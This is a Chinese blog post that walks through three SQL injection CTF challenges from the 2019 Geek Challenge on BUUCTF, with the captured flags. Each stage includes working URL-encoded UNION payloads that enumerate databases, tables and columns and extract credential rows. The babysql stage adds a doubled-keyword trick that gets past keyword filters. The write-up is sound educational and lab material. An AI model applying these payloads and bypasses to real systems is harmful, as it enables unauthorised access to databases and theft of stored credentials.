从2019极客大挑战sql题看sql注入

学了一段时间ctf后发现自己的基础还不是很扎实,于是打算记录一下学习过程,方便以后查看(归根结底还是太菜了_(:з」∠)_

题目原网站

BUUCTF在线评测

目录

1.easysql

2.lovesql

   2.1.判断注入点及字段数

   2.2.构建payload爆数据库

   2.3.构建payload爆表名

   2.4.构建payload爆字段名

   2.5.尝试爆出内容

3.babysql

   3.1 判断字段数

   3.2爆数据库

   3.3 爆表名

   3.4爆字段

   3.5爆字段内容

4.总结

附言


1.easysql

 直接使用万能密码发现语法出错,仔细看是引号要求双引号闭合(我是菜狗),闭合后输入得到flag。

另外附上常见万能密码表,防止以后出现过滤不知道怎么办。

sql注入之万能密码总结_無名之涟的博客-CSDN博客_sql万能密码

2.lovesql

   2.1.判断注入点及字段数

 使用万能钥匙后发现没什么用。尝试通过username和password注入,类型为字符型注入。先使用order by 判断字段数,尝试6 5 4 3后发现字段数为3

?username=admin%27+order+by+3+%23&password=123


   2.2.构建payload爆数据库

?username=1%27%20union%20select%20null,null,(select%20database())%23&password=%27123

   2.3.构建payload爆表名

?username=1%27%20union%20select%20null,null,(select%20group_concat(table_name) from information_schema.tables where table_schema='geek')%23
&password=%27123

 

   2.4.构建payload爆字段名

当然有两个表那就都爆。

geekuser 

?username=1%27%20union%20select%20null,null,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27geekuser%27)%23
&password=%27123

 

l0ve1ysq1        (注意第一个字母为小写L) 

 ?username=1%27%20union%20select%20null,null,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27l0ve1ysq1%27)%23
&password=%27123

 

   2.5.尝试爆出内容

?username=1%27%20union%20select%20null,null,(select%20group_concat(id,0x3a,username,0x3a,password) from geek.geekuser)%23
&password=%27123

?username=1%27%20union%20select%20null,null,(select%20group_concat(id,0x3a,username,0x3a,password) from geek.l0ve1ysq1)%23
&password=%27123

 整理得到flag

flag{3b4989ce-181a-41f6-8357-5f2f5f6883da}'

3.babysql

尝试用万能密码进入,发现出错仔细看发现是过滤了or ,所以猜测过滤了大量字符。

尝试双写绕过成功,得知双写绕过可行。

顺便附带绕过方法

SQL注入时当and、or等字符被过滤了怎么办_litchi125的博客-CSDN博客_and被过滤

 

 

 经过实验发现or union select 等都被过滤无法使用order by 于是使用union判断字段数。

   3.1 判断字段数

payload

 ?username=1&password=1' ununionion seselectlect 1,2,3%23 

 

 发现两个显示点

   3.2爆数据库

?username=1
&password=1%27%20ununionion%20seselectlect%201,(seselectlect database()),3%23

 

   3.3 爆表名

突然发现连where 和 from 都过滤了

于是构建payload

?username=1
&password=1%27%20ununionion%20seselectlect%201,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='geek'%23

 

   3.4爆字段

b4bsql

?username=1
&password=1%27%20ununionion%20seselectlect%201,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='b4bsql'%23

 geekuser

?username=1
&password=1%27%20ununionion%20seselectlect%201,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='geekuser'%23

 

 两张表字段相同

   3.5爆字段内容

id,username,password

?username=1
&password=1%27%20ununionion%20seselectlect%201,2,group_concat(id,0x3a,username,0x3a,passwoorrd) frofromm geek.geekuser%23

?username=1
&password=1%27%20ununionion%20seselectlect%201,2,group_concat(id,0x3a,username,0x3a,passwoorrd) frofromm geek.b4bsql%23 

 最后在b4bsql表中找到flag

flag{b86c38b2-97ee-46ad-9d26-467d73821967}

4.总结

一般sql注入题无非就是几步走:

1.判断注入点以及回显字段数

2.爆库名+表名+字段名+字段内容

3.注意过滤等特殊情况

附言

2019极客还有两题hardsql和finalsql打算做个续,并结合分析一下sql难题情况,希望不会鸽吧。

_(:з」∠)_

printf("希望自己不要这么菜———L1men2“)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值